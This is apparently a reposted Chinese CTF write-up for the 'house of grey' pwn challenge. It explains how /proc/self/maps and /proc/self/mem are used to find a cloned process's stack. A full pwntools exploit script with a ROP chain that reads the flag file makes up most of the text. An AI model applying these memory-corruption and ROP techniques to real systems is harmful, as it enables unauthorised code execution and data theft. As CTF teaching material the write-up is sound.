house of grey
Posted Nullan
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了house of grey相关的知识,希望对你有一定的参考价值。
linux采用的文件系统是/proc文件系统,在运行时可以更改内核的数据结构和设置参数等
/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。但是不可读
所以可以结合map的信息确定读的偏移值,只有读取的偏移值是被映射的区域才能正确读取内存内容。
写入mem文件来直接写入内存,可以直接修改代码段,放入我们的shellcode,从而在程序流程执行到这一步时执行shellcode来拿shell。
ida分析一下这题
程序有一个缓冲区溢出
但是读文件不能读flag文件
可以用功能4修改V8实现任意地址写
而这个体execve系统调用被禁用了,我们可以构造ROP,把flag文件读取到内存中,再输出来
因为fn函数有一个exit(0)所以覆盖fn的返回地址是不行的,但我们可以覆盖fn中case4的read地址
但是程序是clone出来的
程序用mmap映射出一个内存,然后通过其中一段随机栈地址给clone,但是我们可以通过读取/proc/self/mem文件,来搜索标记,已确定程序的栈地址。
而标记就是”/proc/self/maps”字符串,因为buf里保存了这个字符串,当我们在内存中搜索到这个字符串时,当前位置就是buf的栈地址
#coding:utf8
from pwn import *
sh = process('./pwnh35')
#sh = remote('111.198.29.45',37518)
elf = ELF('./pwnh35')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
open_s_plt = elf.plt['open']
read_s_plt = elf.plt['read']
puts_s_plt = elf.plt['puts']
#pop rdi
#pop r15
#retn
pop_s_rsi = 0x1821
#pop rdi
#retn
pop_s_rdi = 0x1823
def enterRoom():
sh.sendlineafter('Do you want to help me build my room? Y/n?\\n','Y')
def setPath(content):
sh.sendlineafter('5.Exit\\n','1')
sh.sendlineafter('So man, what are you finding?\\n',content)
def seekTo(pos):
sh.sendlineafter('5.Exit\\n','2')
sh.sendlineafter('So, Where are you?\\n',str(pos))
def readSomething(length):
sh.sendlineafter('5.Exit\\n','3')
sh.sendlineafter('How many things do you want to get?\\n',str(length))
def giveSomething(content):
sh.sendlineafter('5.Exit\\n','4')
sh.sendlineafter('content:',content)
enterRoom()
setPath('/proc/self/maps')
readSomething(2000)
sh.recvuntil('You get something:\\n')
#解析程序的加载地址,以及mmap内存出的地址
elf_base = int(sh.recvuntil('-').split('-')[0],16)
pop_rdi = elf_base + pop_s_rdi
pop_rsi = elf_base + pop_s_rsi
open_addr = elf_base + open_s_plt
read_addr = elf_base + read_s_plt
puts_addr = elf_base + puts_s_plt
while True:
line = sh.recvline()
if 'heap' in line:
#接下来这一行就是mmap出的内存的信息
line = sh.recvline()
mmap_start = int(line.split('-')[0],16)
mmap_end = int(line.split('-')[1].split(' ')[0],16)
break
#现在解析出clone的那个程序的stack地址
stack_end = mmap_end
stack_start = mmap_start
#范围偏差
offset = 0xf800000
#区间范围begin_off~stack_end里搜索
begin_off = stack_end - offset - 24 * 100000
setPath('/proc/self/mem')
seekTo(begin_off)
print 'begin->',hex(begin_off),'to',hex(stack_end)
#在内存的范围内搜索,如果找到了/proc/self/mem这个字符串,说明当前地址就是buf的栈地址
for i in range(0,24):
readSomething(100000)
content = sh.recvuntil('1.Find ')[:-7]
if '/proc/self/mem' in content:
print 'found!'
arr = content.split('/proc/self/mem')[0]
break
if i == 23:
print '未能成功确定v8的地址,请重试!'
exit(0)
#获得了v8的地址,可以将它里面的内容,实现任意地址写
v8_addr = begin_off + i * 100000 + len(arr) + 5
print 'v8 addr=',hex(v8_addr)
read_ret = v8_addr - 0x50
#覆盖v8指针内容为存放read返回地址的栈地址
payload = '/proc/self/mem'.ljust(24,'\\x00') + p64(read_ret)
setPath(payload)
#接下来,我们可以写rop了(v8_addr-24+15处就是/home/ctf/flag字符串)
rop = p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(pop_rsi) + p64(0) + p64(0) + p64(open_addr)
#我们打开的文件,描述符为6
rop += p64(pop_rdi) + p64(6) + p64(pop_rsi) + p64(read_ret + 15 * 8) + p64(0) + p64(read_addr)
rop += p64(pop_rdi) + p64(read_ret + 15 * 8) + p64(puts_addr)
rop += '/home/ctf/flag\\x00'
giveSomething(rop)
sh.interactive()
以上是关于house of grey的主要内容,如果未能解决你的问题,请参考以下文章
errors of point grey camera on arm ubuntu14.04